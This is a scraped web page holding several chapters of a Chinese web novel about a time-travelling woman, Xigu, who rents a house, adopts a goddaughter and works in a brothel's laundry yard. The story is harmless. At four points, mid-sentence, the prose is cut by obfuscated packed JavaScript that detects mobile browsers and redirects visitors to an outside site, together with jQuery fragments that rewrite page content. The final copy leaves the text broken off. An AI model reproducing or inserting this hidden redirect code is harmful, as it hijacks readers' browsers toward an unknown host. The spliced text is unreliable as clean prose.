店主见细姑来取衣服,从柜台里拿出一个包袱,打开包袱,里面正是细姑要的抹胸和小衣——都是一水儿的细白布、没花纹。 “这昨日您给的银子有多,布料也多了一些,我就多做了两双袜子和两条月事带,您看看!”店主将衣服一件一件抖开,果然多了这四样。 “月事带?”这东西看着有点眼熟,细姑想着自己小时候好像看大人用过,里面加卫生纸用的。 那这古代往里面加什么? 今日还有别的事情,细姑也不再纠结月事带要怎么用,对着头发花白的店主大娘再三感谢后,回到住处,把内搭的衣服和鞋袜都换了一遍,才出门去找房牙。 还是找的上次的张家房牙。 一大早上没什么生意,张房牙闲得两手兜在袖里,倚着门四处张望,看着细姑朝他这儿来,隔了老远便迎了上去,“大姐,您今日这么早来,吃过了没?” 细姑笑道:“房牙还记得我?” 张房牙脖子脑袋一撇,“哎——这哪能忘?” “果然上次没找你租房叫你记上了!”细姑同房牙开玩笑。 张房牙把细姑引进门,搬个椅给她坐,“瞧您说的!这谁都有银钱不称手的时候,我个个都记上那还用做生意?再说您这不还是来找我了么!怎么样?您这次还是一个人租房?” “那倒不是!这次两个大人一个孩子,你给我找个两间房、三间房的都行,还是要单门独院的。”细姑想了想,又加了一句,“哎对了!要个安稳地界,不能有那恶邻的!” “这样的宅院有倒是有,就是这价——”张房牙晃晃脑袋,“不低!” “你放心这次我带足了银钱!”钱是人的胆,自从确定做旧的银子用起来没问题后,细姑腰也直了,说话声音都大了,“这次必不会像上次一样,让你白跑一趟!” 张房牙爱听这话,为细姑介绍起房子也十分卖力,“你要的地方,我这儿有两处,都是好地方,一处是个一进院子三间房,在城东含光寺边上,一个月的赁钱一两三钱银子。另一处在城西边,在官署衙门边上的泉布巷里头,一进院子两间房,赁钱一两二。都是清净稳当的好地方!” 听起来都不错,“那你能不能带我去看看?”细姑问道。 “成!您等我锁个门!” “好!” 泉布巷近一些,他们先去看了泉布巷的宅子,从巷口进去,第三家就是。 院子里青砖铺地,角角落落都收拾得十分干净,两间正房坐北朝南,主人家大约是为了分租出去,两间房隔开各有正门。 西边那间是住人的,有床有柜子,东边的屋里只有一张桌子和一把椅子。 “这宅子前头是租给一个来考举人的秀才,秀才公把东边这间做了书房。”张房牙介绍道。 “那我要是把这儿租下来,能叫主人照着西边那间再添张床吗?”细姑问道。 “怎么不能?这是合情合理的事儿!”张房牙把细姑引到厨房,“您再看这边,这是厨房,锅灶都是配好的,不用您另买。” 张房牙又指着院子的西南角的一个矮房,“那边,茅房,离正房远着哪!平日里来倒夜香的五六日来一次!那腌臜味儿闻不到屋里去。” 细姑打住张房牙的话头,“五六天才来掏一回?” 张房牙没想着细姑在这上头计较,“咱们这里冬天都是十日一回,天热了次数就多了,您要是再想掏夜香的来的勤一些,那就专门给点钱。宁州城里都这样!” 细姑转着眼珠子四处看,这处宅子她很满意,“也行!那就这处吧!”她又去看着张房牙,“你把这房子的主人喊来,我们今天就把租房的帖子签下来!” 张房牙道:“您不再去看看含光寺那边的房子?” 细姑摇头,“不去了,东边远,费脚力!” 她算过,这处宅子离云来客舍和枇杷巷都不算远,含光寺在城东边,每天光是走路都要多费不少时间。 而且泉布巷这边,出了巷口就能看见官署衙门的匾额,治安这一块必然是好的。 干脆也不去看别的地方了,就这里! 张房牙没想到今天这么顺利,又问了一遍,“大姐,你可想好了,就这里?” “就这里!”细姑点头。 “行!那您把户贴路引和赁钱备好,我这就去把主人家唤来!”张房牙说罢要出门去唤人。 细姑忙把人叫住,“张房牙!你等下带个称银用的小称来,我这身上都是碎银,也没个准数。” 张房牙向细姑拱拱手,“不消您说,我自会备好。” 张房牙走后,细姑把这处宅院里里外外又仔细看了一遍。 铺地的青砖不少都断作两节,显然是有些年头了。而且前一家房客走了之后,主人家应该是特意清理过,地面上连根草都没有。 她想等搬进来之后,丽娘母女俩就住西边那间,自己住东屋,独属于她自己的一间,再买个陶罐,专门把银子做旧,罐子就塞在床底,门一锁,谁也不知道,岂不便宜? 细姑还在这里琢磨着搬进来之后的事情,那边张房牙就领了一老一少前来。 那老者手里拄着根拐杖,衣袄齐整没有半个补丁。那年轻的高高瘦瘦,袄子外面的长褂子半旧不新,看样子像是个书生。 张房牙为细姑介绍道:“这位,是这宅子的主人,余翁!” 细姑对着余翁福了福身子,算是见礼。 “这位吴秀才!为咱们作保的”秀才年纪轻,细姑只点了点头。 余翁先上前道:“这位娘子,可是要租我这宅子?” 细姑笑道:“正是!看您这宅子好,我想租上一些时日。” 余翁又问:“那这赁钱,张房牙可有跟你说好?” “说好了,赁钱我也都备好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488903|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !就是东边这间,您再给我添上床和柜子。否则我们两家人,住不开!” “那倒没事儿!张房牙路上跟我说了,我已经叫我那二儿子去办了,过一会儿就送来!” 细姑道:“您老爽快!” 张房牙看着两边说得差不多了,插话道:“余翁,王家娘子,两位看着也差不多,要不咱现在就把这租房帖子写了,两位意下如何?” 几人来到东边屋子,唯一一把椅子让那吴秀才坐了写帖子,其余几人就围着桌边站着。 桌子上有细姑的身份路引和余翁的房契,张房牙拿着小称在称银。 一会儿工夫,吴秀才就写好了两份租房帖子,上面写明了房主人和租房人的姓名贯籍,约定好押房钱和每月的租钱,以及宅子里各样家具都一一写明,最后是房牙中人、作保人和立帖子的时间。 细姑付了三个月的租钱加上押房钱一共四两,房牙抽佣六钱细姑和余翁各付一半,只是细姑这边给的是银子,余翁那边用的是铜钱,作保的吴秀才两边各得了五十文钱。 细姑感叹:古代这读书人真是不一样,写两张帖子做个保,前后一炷香的功夫就能拿一百文钱,怪不得都要读书考功名! 她心里想的没露在脸上,手里拿着宅子钥匙送走了余翁和吴秀才。 “那床和柜子什么时候送来?”细姑问张房牙。 张房牙促成一桩生意,心情正好,“要不了多久,我们先去里头等着,等人来了会敲门的!” “也是!”细姑随张房牙回了院子。 四下里没人,张房牙同细姑道:“大姐,你那银子?” 细姑一惊,这怕不是要露馅,佯装不在意地反问:“银子有什么问题?我那可是足银!” “嗨!就是足银您才吃亏!”张房牙语重心长,“咱们这平头百姓家里用的都是铜钱,银钱自然也有,可除了那做生意买卖的,谁家用那足银付钱。你这可不就吃了亏了!” 细姑心里一松,又编了个谎道:“我这是专门去的顺昌老号兑出来的,去买东西旁人也没说什么。” “那是自然!那些收钱的有什么好说的,就是欺负你一个外乡人,什么都不懂!”张房牙指点细姑,“你这银子拿去那一般的倾银铺子,一两能换出一两一来,照样用!” 细姑恍然大悟,“合着我以前都叫人给宰了,怪不得刚才余翁给你的是铜钱呢?” 张房牙拍了一下自己的嘴巴,生怕细姑把自己手里的那三钱银子拿走换成铜钱。 细姑哈哈一笑,拱手道谢,“多谢张小哥提点,今天这银子你只管拿着,以后想再赚我这银子,怕没那么容易喽!” 张房牙攥紧银钱嘿嘿一笑,“哪里!哪里!” 不多时,那余翁的儿子带车运了床和柜子来。 这两样东西一看便是二手铺子里运来的,细姑也不挑,只让他们把东西搬进屋里,摆放好位置,就让他们走了。 大事搞定的细姑坐在椅子上,双手交叠在胸口,两只脚搁在桌子上晃悠着。 这样子肯定不符合古代礼仪,不雅观,但她不在乎,谁叫她今儿心情好呢! 春光晴朗,万物可爱,今天真是个适合吃搬家饭的好日子! 至于九曲巷那个破房子和公用的茅房,拜拜了您内! 12. 搬家 离云来客舍不远,有一家童家食店,颇有些规模。 二楼临街是雅座,细姑只在一楼要了个座位,点了几个家常吃的菜。 一道烧猪肉,一道鲫鱼豆腐汤,一碟大蒜叶炒鸡蛋,一小盘子红糖油饼,外加一钵蒸饭。 两个大人加一个四五岁的孩子尽够了。 没成想竟是不够吃的! 刘月儿人小,只吃了一小碗米饭肉菜,剩下的就是在一边小口小口地吃着糖饼。 倒是细姑和丽娘两个,几个菜吃完了又加了半只烧鸡和一碟子腌萝卜。 细姑付了饭钱,又另切了半只烧鸡,叫人包了,准备带到洗衣院给葛娘子。 去泉布巷的路上,细姑问丽娘:“你今天怎么没说我费银钱?” 丽娘深吸一口,两眼含泪,看着细姑,“大姐,我本来要说的,可是看着那一桌子的饭菜,我说不出口。” 丽娘的眼泪到底没忍住,落了下来。刘月儿看着她娘落眼泪,包住大人的腿,也在那里瘪嘴要哭。 细姑看着丽娘瘦得麻杆一样的身子,也收起了玩笑的心思,问道:“你们多久没有正经吃过一餐饭了?” “从月儿他爹病了就再没正经吃过饭。” “哎呀!都一样!”细姑感叹,“我也是,从我家的那个死了以后,也没正经吃过一碗饭。那帮子豺狼亲戚还想把我绑了卖到山里去!” 丽娘闻言,忙抹了眼泪,关切道:“那你怎么?” 细姑两手一摊,一脸光棍,“叫我给跑了!一帮子千刀万剐的祸害,还想卖我?” “千刀万剐是什么?”刘月儿脸上还留着两道泪痕,问道。 丽娘给女儿抹了一把脸,“你小孩别乱学!” 细姑道:“就是该死的混蛋!” 小孩子学骂人的话最快,刘月儿立刻跟着说道:“该死的混蛋!” 细姑听完哈哈大笑。 新租的宅院,细姑一打开院门,丽娘进门只看了一眼,就道:“这一个月得多少钱?” 细姑没答话,只说:“我已经给了三个月的赁钱,旁的你不必管,这三个月就先住着。” 关上门,几个人来到西屋,细姑又说:“你跟月儿住西边这间,等下去车行找个帮忙搬家的车夫,给你把东西都搬过来。另外这家中你看看都缺什么,回头搬完家,你让车夫别走,你去把家里缺的都给添上。” 细姑又掏了两个银角,连同这里的钥匙,一齐给了丽娘。 丽娘却不要,“你昨天晚上刚给过!” “给你你就拿着,昨天那个是给你平时花用的,这个是搬家置东西的钱!”细姑直接拉过丽娘的手,把钱和钥匙塞到她手里。 细姑不放心,又道:“我给你的银子都是足银,你别直接用,先去兑了铜钱再用,不然吃亏不合算。” 丽娘笑道:“这我晓得,咱们是住家的百姓,谁家不用铜钱?” 细姑点点头,心说:敢情大家都知道,就我一个冤大头! 九曲巷那边的屋子小,东西也少,细姑自己的东西也几乎没有,搬家的事情她就没管,交代完丽娘,怀里揣上半只烧鸡便去了繁金楼的洗衣院。 有空间里每日发的三两日薪,吃喝生存是不愁,但细姑并不想真的躺吃等死,她挺珍惜丽娘这个伴,也想继续在洗衣院那边干下去。 首先,繁金楼称得上是个漫撒金银的地方,自己手里那点散碎银块,只要稍作处理就能假托个名义蒙混出去,还不招人眼。第二,她到现在其实还没真正见识过繁金楼是个什么样子,对那些个青楼花魁着实有些好奇,她们是不是真那么漂亮? 细姑打定主意,还要在枇杷巷那里混上一些日子。 今天为着找房吃搬家饭耽误了时辰,到了洗衣院就比平常晚了一些,要洗的衣物都叫旁人分完了。 细姑看着自己没事做,正想着自己要不要走,就见葛娘子在一边对着自己招手,心道:这是叫我过去的意思? 等走到葛娘子跟前,就见她说:“你来的正好,过来跟我把这帐子翻个面,就这样!” 葛娘子边说边用手比划。 细姑帮着葛娘子晾衣物,眼睛四处看了一下,悄声问道:“葛娘子,今天院里多了不少衣物洗晒!” “就是!昨天下雨,就一天没洗,那个管衣料库房的姓周的女人就追在我后面要东西,我这救像被狗撵一样!别提了!”葛娘子难得抱怨。 细姑就在洗衣院里帮着葛娘子翻晒了一下午的衣物。 有些是彩绸锦缎,有些是染得颜色鲜艳的一般布料,只是这时代的染色技术不够好,水洗太阳晒的容易褪色,不仅洗起来要小心轻洗,洗完了也不能用手拧干,只能用一根光滑的竹竿直接摊在上面,等衣服里的水沥干了,再把衣服翻面让里子晾在外面。 这一步一步,小心翼翼,繁琐极了。 一直到太阳下山,天色渐黑,细姑和葛娘子才忙完。 “行了,晚上再晾晾,明天一早见个把时辰的太阳就行了!”葛娘子满意道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488904|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 说着从袖袋里掏出几十个铜钱递给细姑,“二十文,我找姓韩的给你要的,你别嫌少!” 细姑双手接过,“你这是什么时候要的,我怎么不知道?” 葛娘子拿手点点细姑,“你眼里就只有手上那点事儿!行了,回去吧,再过一会儿天就黑透了!早点回去吃饭!” 细姑点点头刚要走,想起自己怀里还有半只烧鸡,忙取了出来,递给葛娘子,“我这还有半只烧鸡,差点忘了!您晚上拿这鸡做个下酒菜!” 细姑这么想着她,叫葛娘子大出意料,她接过烧鸡,道:“你认不认字?识不识数?” “我男人没死的时候跟他出门贩货,也学了一点,不过不会写。”细姑道。 葛娘子打开纸包,捡了一块鸡肉塞到嘴里,“不要你写!你明天早点来,给我打个下手!” 细姑喜上眉梢,“好!我明儿一准早来!” 太阳落山之后的枇杷巷完全是另外一个世界。 每家每院都挑起了灯笼,繁金楼更是上下两层都挂起了莹白风灯,打眼望去好似仙宫一般,那风灯下悬着铃索,夜风不大,铃索却响个没完。 昨日还在赌桌前吆五喝六的龟公院保此时具是衣帽齐整,弯腰唱喏,好生有礼。 楼中隐有声音传来,鼓乐声?歌舞声?笑闹声?混杂一处。细姑停下来待要辨认清楚,却又都听不见了,无奈只能离去。 且街巷中,夜色愈深人愈多。 有那豪绅阔客,呼奴使婢,遇上巷子狭窄处几乎寸步难行;也有那落魄文人,独立窗边幽灯之下,孑孓一人形影落寞。 细姑逆着人群,时紧时慢地行着,偶尔路过河边,见那游船画舫之上,灯火通明里,有彩衣环佩的女伎鼓瑟吹笙。 不觉间,已出了巷口。 巷口外,人还是多,还是热闹,白日里清净少人的街道不知从哪里冒出这许多人来。摆摊买吃喝的实属正常,字画古玩也算是附庸风雅,最多的竟是压胜□□的摊子,多是妓女伴着恩客来玩。 细姑看着最出格的是个三十岁上下的文士,一身锦衣,左边搂着清俊小倌,右边揽着妖娆美姬,在那里压胜夺宝,连着输了十几把,也不恼,扔下银子,呵呵一笑,便丢开手。 临去时,就见那美姬回过头来对着摊主使了一个眼色。 夜市热闹,细姑却想着今天搬家,于是去了昨天的点心铺,想买几个点心带回去。 结果铺子关门了——他家还真是个做正经生意的。 13. 往事 细姑什么都没带,空手回去的新宅子。 丽娘给她开的门。 一进去,细姑就注意到自己白天换下来的衣服鞋子都叫丽娘洗好了,就晾在房檐底下。 丽娘注意到细姑的眼神,没在意道:“我下午搬完家没事儿,顺手都给洗了!” 细姑不好意思道:“我没想过这个。” 她是真没想过让丽娘给自己洗衣服,跟她们住在一起,一个是因为自己不想独居需要同伴,另一个则是看见她们母女两个实在可怜。 细姑觉得她们之间该是合租室友的关系。 丽娘不这么想,她不止洗了衣服,还做了晚饭,一直等到细姑回家才准备开饭。 晚饭就摆在西屋。 西屋大一些,丽娘母女俩的床铺整理得干净,屋子当中放着一张桌子——她把东屋的桌子搬来当了吃饭的桌子。 桌子中间是一盏油灯,围着亮光摆了两道菜、一碗汤、一碟子柿饼,还有一壶酒和两个酒杯——这在平民百姓家里是一顿很拿得出手的饭菜了。 但是细姑不爱喝酒。 “怎么还有酒?”她问道。 丽娘没有回答,反而把细姑引到一张凳上,让她坐下,唤过刘月儿,“月儿过来,跪下!” 刘月儿听了她娘的话,对着细姑就跪了下去。 细姑吓得直接站了起来,“不是!你们这是要做什么?好好的,怎么说跪就跪!” 无缘无故受人这样的大礼,还不得折寿? 丽娘没想到细姑反应这么大,忙上前稳住细姑,“大姐,虽然说好了大家一起作个伴,你养家我出力,说到底还是我们母女俩个占了你的便宜。不知该怎么回报你,就叫月儿给你磕个头,认你作干娘。我知道你没孩子,以后让月儿跟你养老送终!” 丽娘说得情真意切。 细姑也知道这时代认干亲是大事,有人养老送终更是大事。 她上辈子死得时候才二十七,青春正盛,都还没结婚。现在成了王细姑,也才二十六,即使古代人平均寿命短一些,那也算不得年纪大的。突然就说到收个干女儿养老送终了,她脑子有点转不过来。 “你等等,叫我想想!”细姑人往后退,抱着两只胳膊靠上椅背,认真思虑起来。 再找个男人成亲生子是万万不可能的,大齐民间虽然风气较为开放,但仍然是儒家夫为妻纲那一套,找个人骑在自己脑袋上,细姑万万不能答应,她又不是穷得活不下去了。再者,王细姑本人对她的丈夫刘洪感情甚深,自己用了人家的身体,百年之后身体还要还归人家,不好随意再找丈夫。 细姑越想脑子越清明,眼睛越亮。 跪了那么久,刘月儿受不住了,抱着细姑的腿道:“大娘,你好了没?” 还有刘月儿,细姑喜欢这个孩子, 她把刘月儿抱了起来,“好了好了,叫我们月儿受累了!” 她拍拍刘月儿裤子上的细尘,把孩子抱到自己的膝盖上坐着,“我以后就是你干娘,你就是我的女儿!好不好?” 刘月儿同细姑因为吃食发展出了深厚的情义,认细姑当干娘,自然愿意得很,听见细姑这么问自己,大声回道:“好的!大娘!” 看细姑想了那么久,丁丽娘很担心她不答应,此刻听到细姑同意了,忍不住长舒一口气,又忙提醒女儿道:“叫干娘!” “诶——叫什么不一样,就叫大娘!”细姑不在意这些,她觉得叫大娘挺好。 刘月儿马上又道:“大娘!我们吃饭吧!我饿!” 细姑也饿了,“吃饭!吃饭!大娘肚子也饿了!” 细姑没让刘月儿给自己磕头,酒也只喝了一口,她实在是不爱酒味儿。 总归以后她们要处的日子还长,干脆从一开始就不要那些个虚礼才好。 晚饭后,收好碗筷,刘月儿困得闹脾气,丽娘把她抱在怀里,一边哄一边拍,小孩子没一会儿便睡着了。 昏黄的灯光里,细姑觉得这场景舒服极了,就像小时候在家里一样,只不过那时候自己是刘月儿,被妈妈抱在怀里,晃着哄着。 还有歌,妈妈会唱歌:“小燕子穿花衣,……” 妈妈总是只唱这一首,她小时候嫌妈妈无趣,现在却不知不觉跟着跟着哼了起来。 “大姐,你哼的什么歌?”丽娘问道。 细姑回过神来,“我娘以前老唱,我不记得歌词了,只能哼哼两句。” “还挺好听的!”丽娘给女儿脱了衣服放到床里边,盖上被子,又转过身来,“我唱歌唱不好,以前月儿她爹在的时候,都是他唱歌哄月儿!” 看来丽娘以前的丈夫是个不错的人,细姑刚想问丽娘她丈夫是个什么样的人,话还没出口,就听见丽娘说道:“我跟月儿他爹不算正经夫妻,我们是私奔出来的。” 丽娘的语气缓慢而平淡,仿佛说天气一般。 细姑却被这话炸得脑子一激灵,“怎?怎么——回事儿?什么私奔?” 古代不是礼教森严,讲究父母之命媒妁之言那一套的吗?她穿越的对么? 丽娘说起这些,到没了平日里那股子柔弱气,脸上满是怀念的笑容,语气都轻快不少,“我家以前在镇上教书,我爹是个秀才,我嘛——”丽娘有点羞涩,但是说了出来“也还算漂亮。” “你确实挺漂亮的!”这点细姑是赞同的。 “哎呀!大姐,你不要打断我!”细姑直白的夸赞叫丽娘有些不好意思。 细姑举手表示投降,“不说了”。 “我娘要把嫁给我们那里一个员外家,好给我哥哥弟弟攒钱考秀才娶老婆!”一说起这个丽娘就来气,“大姐,你不知道,那个员外姓贾,他家那个儿子就是糊涂蛋!傻子!是十几二十岁了,拉屎拉尿还要人跟着,而且来相看的时候,那个贾员外眼睛都快黏在我身上了,恶心死人!我跟我爹娘说不嫁这个,好歹换一个正常人家,我爹娘不愿意,说这家人给的聘礼多,我就问了‘他给的多少聘礼钱?’”丽娘停了下来,右手伸出五个手指头,“这个数!” “五十两?”细姑接到。 “对!就是五十两,也怪不得我爹娘明知道那是个火坑也要把我往里推!”丽娘对爹娘不免有些抱怨道,“我家里我爹教书,我和我娘织布绣花,这些年为了供哥哥弟弟读书,也不知道有没有攒下来五两银子。” “那月儿他爹呢?你们怎么认识的?又怎么会想着跟他私奔呢?”细姑问道。 丽娘笑了起来,“月儿他爹叫刘安,原是贾员外家的佃户,我那公婆死得早,他呀有时也给贾员外家干活,帮着抬个箱子送个礼什么的。定亲之后,日子一天天地过,我眼看着是逃不脱了,一想到以后嫁到贾家的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488905|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形,就有了想死的心思。晚上趁着家里人都睡了,就一个人找了条河,跳了进去!” “就被刘安给救了?”这么狗血的? 丽娘点头,“我叫月儿他爹给救上来的时候还生气,骂他多管闲事,叫我死都死不干脆!” “然后呢?” “然后啊——那天晚上月亮好,我就看见他上身光着,没穿衣服,那胳膊是胳膊腰是腰的。”丽娘整个人都活了起来,“反正都要跟男人睡,我干嘛非要等着进了贾家那一对父子手里再睡,眼前现成就有个好的。再说他把我从水里救了上来的时候,抱也抱过了,摸也摸过了,我说什么也不能就这么放他走了!” 细姑竖起了大拇指,心道:好丽娘,你是真正的勇士!嘴里还不忘八卦,“所以你当晚就把月儿他爹给那个了?” 说起这个,丽娘有些羞意,但还是很干脆地承认,“刘安他是个男人,又不是块石头!”语气颇为得意,旋即又对着细姑说道:“大姐,跟着月儿他爹,我从来没后悔过,就是他死了,我也念着他的好!” “那是自然!跟着好人睡一夜,强过跟糊涂蛋子躺十年嘛!”古今的姐妹想法都一样! 二人会心一笑。 第二天,细姑起晚了。 隔壁屋里没动静,丽娘不知道什么时候带着刘月儿上工去了。 细姑一打开房门,就见外头天光大亮,空气也不怎么冷,昨天换洗下来的衣物今天就晾在了院子中间。 她其实有点不太适应这个新租的宅子,忍不住开始怀疑自己:这才几天,就住惯了小房子? 好在赁钱一两二的宅子还是用它的优点说服了细姑——这里的茅房建得好,又大又干净。她再也不会在屋里放恭桶或者憋着去找公用的茅房。 茅厕自由胜过一切! 上完茅房,细姑去厨房,舀了一瓢水,洗脸漱口。她一边漱口,还不忘打量着整个厨房。 这里只有一口灶眼,一口锅,好在还有一个小陶炉,平时可以用来煮汤蒸饭。灶上一口铁锅,那是主人家备的,墙边摆了一柄木勺,一块案板,一把平时丽娘放在床头壮胆子的菜刀,一个柴芦棒子做的笼盖,还有两个小陶罐子,细姑猜测里面肯定是油和盐——因为昨天晚上的菜只有油盐调味儿。碗盘筷子垒在一边,用一块细布盖着。 转圈看了一看,她总觉得还是有点空,比如墙角的柴火只有不到两把,灶眼下边还少一个矮凳子方便烧火,只有一个水桶太少了,怎么也得放一口缸来装水,佐餐的调料也不够,还要多添几样,做出来的菜才好吃。 一看外边,就那几件衣服,正好天气热了,春衣也该做起来了,自己刚升任刘月儿的干娘,说什么也要给她多裁两身新衣,打扮打扮。 猛地一拍脑袋,她把最重要的忘了,她还得去买两个罐子和剪银子的剪刀,不把空间里的银子做旧一点,可不敢花出去。 想了满脑袋的事情,再一看天色,时辰不早了,昨天和葛娘子说好的早点过去。 细姑慌忙锁了门就走。 路上卖早点都快要收摊了,细姑来到一个卖馒头的摊子前,摊主的幌子上写着:细面馒头,实心一文,素馅两文,肉馅三文。 十二文买了四个肉馒头,两个叫摊主拿纸包了揣在怀里,等下带给葛娘子。 另外两个细姑拿在手里,边吃边走。 14. 买 葛娘子让细姑早点来。 但细姑到的还是太早了。 从枇杷巷的巷口,一路走到洗衣院,只有两家开了门,人影是一个没有。 敲门的时候,细姑还走得惴惴不安,生怕到的太早,葛娘子还在睡觉。 好在没有。 葛娘子正趁着早上阳光还不燥烈的时候晒衣物。 她看到细姑,便道:“你来的正好,跟我把这些晾衣的架子连同衣服都抬到院子中间去,我一个人挪着费劲!” 细姑看去,果然还有一排排衣物在墙影底下。 她走了过去,先拿出两个肉馒头,道:“葛娘子,我带了肉馒头,你先吃,吃完了我跟你一起抬。” 葛娘子接了过来,看着手里的肉馒头笑了,“哎呀!我多少年没吃过早点了,托你的福!” 她拿起一个咬了一口,“这味道好,我就不跟你客气了,那边有凳,你自己坐!” “诶!”细姑应了一声,自己捡了一个矮凳坐下来等葛娘子吃早点。 边上有个小桌,桌子上一本账簿,她忍不住勾头去看。上面大多数的内容都认得,只有一些字体繁琐的,靠着半边字也能猜得七七八八。 葛娘子看了她一眼,“你昨天说你认字识数?” “嗯!”她点点头。 “那你给我念念!” 细姑捧起账簿念了起来:“细绸十三,牙绸十二,绉绸十七,光锦十六,晕锦十七,暗锦十四……彩条十二,顶账五,总二百十三件。” 细姑念完了,葛娘子也吃完了起身,道:“嗯,都对得上,你倒是没哄人。” 细姑放下簿子跟着起身,“这识不识字还能作假啊!” “前头都就有一个跑我这来装大象的,叫我给轰走了!” 细姑心道:原来前面还有别人! 她不敢托大,忙把自己的底细说出来,“我识字,可我不认衣啊!以前也没见过这么多的好料子,我现在已看过去,只认颜色,不识料子!” 细姑的职场经验——给人办事儿,丑话要说在前头。 葛娘子看她一眼,“这个简单,我教你两回就认得了。还有啊,你以后不要再洗衣服了,手泡坏了,容易把这些好料子刮花!” 细姑点头,但是一想又不对,于是问道:“那,那些洗衣服的呢?手不都已经洗坏了,还叫她们洗?” “她们的手要在水里泡软和再洗。我留你是为了收干料子,跟那些个不一样!” “哦!哦!”细姑受教了。 昨天洗的衣物,沥干水,又翻面阴了一个晚上,今天放在太阳下略晒一晒,就干得很快 。 细姑跟着葛娘子,先把那些个干的一件件收起来叠好。 叠衣也有讲究,要尽量顺着缝叠,少留褶子,等那边穿衣的时候,只要些微烫烫就能上身。 娇贵的料子就是不一样,细姑再看看自己身上的衣服,心道:今天说什么也要去买点布料回来做衣裳。 繁琐的事情慢慢做,很快也就做得七七八八。 衣服大部分已经晾干收好,还有些缎子要厚一些,太阳高起,要将它们搬回墙影底下,晚上再收。 细姑和葛娘子两人终于可以坐下歇息,喝口茶缓一缓。 茶还没喝上,院门就叫人从外面推开。 细姑刚要起身看看怎么回事,就让她坐下,“急什么!”说完,不紧不慢继续地喝她的茶。 细姑看这情形也坐了下来,学着九指婆,先把茶喝了再说。 进来两个个仆妇,每人拿担子挑了两个细竹编筐。 细姑喝着茶,还没看到人影,就听见一个清亮又含着笑意的声音道:“九指婆!我前两天的料子都好了没有?再没好,咱们楼里的姑娘就要没衣服穿了!”似真似假的抱怨。 那人说话语调滑稽,细姑听着差点笑出声,连葛娘子都难得笑了起来,“太气热了少个一件半件的也看不出来!” 仆妇后面转出一个娇小的女人来,衣着鲜艳,眉眼带笑,手里拿着个白帕子,一径走到桌前。“朱老大这人最成体统,我要是敢让姑娘们少一件衣裳,她还不得削平了我!” 女人找了个地方坐下,看见二人在喝茶,开口道:“怎么没有我的?” “你是什么客人?自己不会倒?”葛娘子说她。 还是细姑起身,倒了一杯茶给她递了过去。 那女人接过茶,道了一声谢,也没喝,转头去问葛娘子:“这个哪来的?”当面就论起细姑。细姑也不敢吭声,只管喝茶,就当作没听见。 葛娘子道:“我自己找的。” 女人转过眼珠子,上下打量着细姑,又问道:“这个真能写会算?你别又叫人骗了” 葛娘子呛她:“比不了韩老二,那也比你我强!” 女人放下茶杯,用帕子沾沾嘴角,“算我多管闲事儿!” 说罢站起身来,对着细姑招招手,“那个识数的你过来!” 看了一会儿,细姑算是明白,葛娘子是根邦邦硬的竹竿子,这个女人就是把含笑的软刀子。 细姑自觉是个塌腰没骨气的,于是很识时务地站起身来,“您叫我!” “我姓周,管库房料子的,以后来的多了,你就知道了。”周娘子指头点着那几个筐子,“你把这里的料子点一点,回头给我报个数!” 细姑低头应声,拿起纸笔就去数衣服。 这里洗衣服不按着样式而是按照料子来分,她数几件,就要拿去问问葛娘子这是什么料子。 细姑这边计数,那边就听见周娘子在跟九指婆在交代:“这天气可是越来越热,要不了几天,罗衣绫裙就得上身,你可得给我盯好了,叫那些个洗衣服的把手泡软泡透了再洗,要是再坏个一件两件,老娘我就得喝西北风去。” “去年韩老二扣了你多少钱?”葛娘子问道。 周娘子一甩帕子,“提起来就晦气!韩老二这个死抠门的!” 葛娘子劝她,“繁金谷有她金家一份,她又是管钱的,那可不得精打细算!” “她算什么金家人!钱又到不了她的口袋,以为傍上金二爷就能脱了这身皮,结果还不是一辈子叫人家养在外头!”周娘子愤愤不平。 “你可小声些,她现在是楼里的二管事,你我不是都还等着她发月钱?” 葛娘子说得在理,但是周娘子的气显然还是不顺,“跟我们比算什么?有本事跟朱老大比比?一辈子眼高于顶,样样比着人家来,样样比不上人家!繁金楼是有金老二一份,可她到头来还不是给朱老大打下手。动不动扣老娘的钱,活该她一辈子当个老二!” 细姑假装做事专注不抬头,其实在一旁听得津津有味,觉得自己也算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 